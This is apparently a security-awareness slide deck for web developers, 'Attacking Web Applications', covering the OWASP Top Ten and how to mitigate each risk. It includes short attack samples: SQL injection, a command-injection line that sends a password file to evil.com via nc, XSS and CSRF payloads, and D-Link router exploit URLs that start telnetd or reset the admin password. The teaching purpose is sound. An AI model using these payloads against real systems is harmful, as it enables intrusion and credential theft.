Attacking Web Applications

Attacking Web Applications

Sasha Goldshtein CTO, Sela Group blog.sashag.net

@goldshtn

Sasha Goldshtein @goldshtn

Every web developer must be aware of the most common web attacks, risks, and mitigations. Don’t fly blind.


Typical Risks §  Exposure of user information

-  Passwords, emails, identity theft §  Direct financial gain

-  Credit card details §  Creating a botnet

-  Using servers/user systems for malicious activity §  Denial of service

§  Some serious damage™ -  Considering that more and more embedded systems serve stuff over HTTP


Are They Really After Me? 1.  They could be, if you’re important. 2.  They are after your users. 3.  They are after your servers. 4.  They found you randomly on the web.


OWASP Top Ten 1.  Injection 2.  Broken auth and session management 3.  Cross-site scripting 4.  Insecure direct object references 5.  Security misconfiguration 6.  Sensitive data exposure 7.  Missing function level access control 8.  Cross-site request forgery 9.  Using vulnerable components 10. Unvalidated redirects and forwards


SQL Injection

§  Suppose the user request parameter is … ' or '1'='1

§  Then the query we execute is … select * from users where (name='' or '1'='1') and (password='whatever')

db.ExecuteReader("select * from users where (name='" + Request["user"] + "') and (password='" + Request["password"] + "')");



OS Command Injection §  Suppose we’re too lazy to perform DNS lookup, so we resort to the following:

§  Suppose the hostname parameter is … foo || cat /etc/password | nc evil.com §  Then we end up sending the password file to evil.com!

§  Most recent noisy exploit 10/9/2013 in DLink DIR-505 router firmware: request=ping_test&ip_addr=127.0.0.1; /usr/sbin/telnetd;

system("nslookup " + Request["hostname"]);


DEMO SQL injection and OS command injection


Mitigating Injections §  DO NOT trust user input §  DO NOT run code provided by the user §  DO NOT use blacklists for validation

§  DO use SQL query parameters (?, @param, :param) §  DO use whitelists and regexes for validation §  DO fuzz your code with invalid input


Sessions and Cookies §  Most web applications today store sensitive user data in cookies §  At the very least, the session identifier is stored in a cookie

-  Cookies are tasty

§  Don’t store anything else in cookies and don’t trust them -  What if the client sends you:

Cookie: username=dave;permissions=admin


DEMO Exploiting vulnerable session information


Sessions and URLs •  DO NOT embed session id in URLs •  DO NOT trust cookie contents •  DO NOT trust URL query string contents

http://example.com/delete_account.php?account_name=sasha •  DO NOT use predictable session ids http://example.com/cart.php?sess=127

•  DO use a Secure, HttpOnly cookie for session id •  DO use long, random session ids


HTTP and HTTPS §  Surprisingly many web applications still use HTTP to transmit sensitive information §  Your HTTP traffic is freely available to:

-  Your Starbucks barista -  Your family members -  Your ISP -  Your boss

§  As a developer, you are responsible for your users’ sensitive information


DEMO Manipulating HTTP traffic


You Have Been Pineappled §  WiFi Pineapple is a mobile pentesting device

-  ARM SOC, RAM, internal storage, USB storage, WiFi, Ethernet, 3G modem support

§  Karma mode

Is this the KatieHome WiFi?

Is this the Starbucks WiFi?

Is this the JFKAirport WiFi?

Sure


DroidSheep and zANTI


Use HTTPS Correctly §  DO NOT send sensitive information over HTTP §  DO NOT display login pages over HTTP §  DO NOT load HTTP frames/scripts/images in an otherwise HTTPS page

§  DO insist on pure HTTPS for sensitive pages §  DO use Secure cookies for sensitive data (reminder)

And, as a user: §  DO NOT connect to unsecured Wi-Fi networks (like “Free WiFi” or “Fluent”) §  DO use a VPN in insecure environments


Storing Sensitive Information §  DO NOT store anything you don’t have to store

-  Least responsibility principle

§  DO comply with regulation for secure storage -  E.g. if you store credit card details, you’re in for some pain


DEMO Rainbow tables and weak passwords


http://haveibeenpwned.com by Troy Hunt


“Password” unseated by “123456” on SplashData’s annual “Worst Passwords” list 1.  123456 2.  password 3.  12345678 4.  qwerty 5.  abc123 6.  123456789 7.  111111 8.  1234567 9.  iloveyou 10. adobe123 11. 123123 12. admin 13. 1234567890

14. letmein 15. photoshop 16. 1234 17. monkey 18. shadow 19. sunshine 20. 12345 21. password1 22. princess 23. azerty 24. trustno1 25. 000000


Password Storage §  DO NOT store passwords in clear text §  DO NOT store encrypted passwords

§  DO hash and salt passwords §  DO reject weak passwords during signup §  DO consider using OAuth

§  DISCUSS which hash function to use -  Super-slow (bcrypt) – subject to DOS -  Super-fast (MD5, SHA1) – subject to cracking


Cross-Site Scripting (XSS) •  Injecting JavaScript into pages viewed by other users

– Cookie stealing, information disclosure – DOM manipulation, tricking the user to like Facebook pages, phishing – DDOS, bitcoin mining J

•  Temporary XSS

http://searchengine.com/?q=<script>alert(1);</script>

•  Persistent XSS – You provide data to the server which is then permanently displayed when users visit


DEMO Persistent and temporary XSS


Cross-Site Request Forgery (CSRF) §  Use the fact that the user is already authenticated to a website to generate requests on his

behalf <img src="http://forum.com/delete_profile.php?confirmed=True" />

§  Interesting variation: use CSRF to login into YouTube with the attacker’s credentials; then, Google history is stored into the attacker’s account -  “I used to know what you watched on YouTube”


DEMO Persistent and temporary XSS


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Mitigating XSS and CSRF §  DO NOT trust user input (déjà vu?) §  DO NOT allow GETs to modify state §  DO NOT rely on blacklists

§  DO escape and sanitize HTML provided by the user §  DO use whitelists or a non-HTML format like Markdown §  DO generate anti-CSRF tokens and validate them §  DO validate Referer headers


Admin Consoles §  DO NOT leave admin consoles exposed to the Internet §  DO NOT provide “extra helpful” troubleshooting info

§  DO restrict admin consoles to local network only §  DO whitelist IP addresses if absolutely necessary

Some auth cookies… yum!


DEMO Locating admin consoles through Google


DLink DIR-615 and DIR-300 Security Advisory •  OS command injection

http://<IP>/tools_vct.xgi?set/runtime/switch/getlinktype=1&set/runtime/diagnostic/pingIp=1.1.1.1`telnetd`&pingIP=1.1.1.1

•  CSRF to change admin password and enable remote administration (Internet-facing) http://<IP>/tools_admin.php?ACTION_POST=1&apply=Save+Settings&admin_name=admin&admin_password1=admin1&admin_password2=admin1&grap_auth_enable_h=0&rt_enable=on&rt_enable_h=1&rt_ipaddr=0.0.0.0&rt_port=8080

•  Information disclosure

http://<IP>/DevInfo.txt

•  Insecure password storage

$ cat var/etc/httpasswd

admin:admin


Summary & Call To Action §  Be aware of security risks and typical vulnerabilities §  Ensure your developers get up to date security training §  Learn how to use the mitigation and prevention tools in your Web framework §  Review code for security, not just correctness §  If your web app is secure, attackers will try other routes

Thank You! Sasha Goldshtein CTO, Sela Group blog.sashag.net

@goldshtn

Attacking Web Applications

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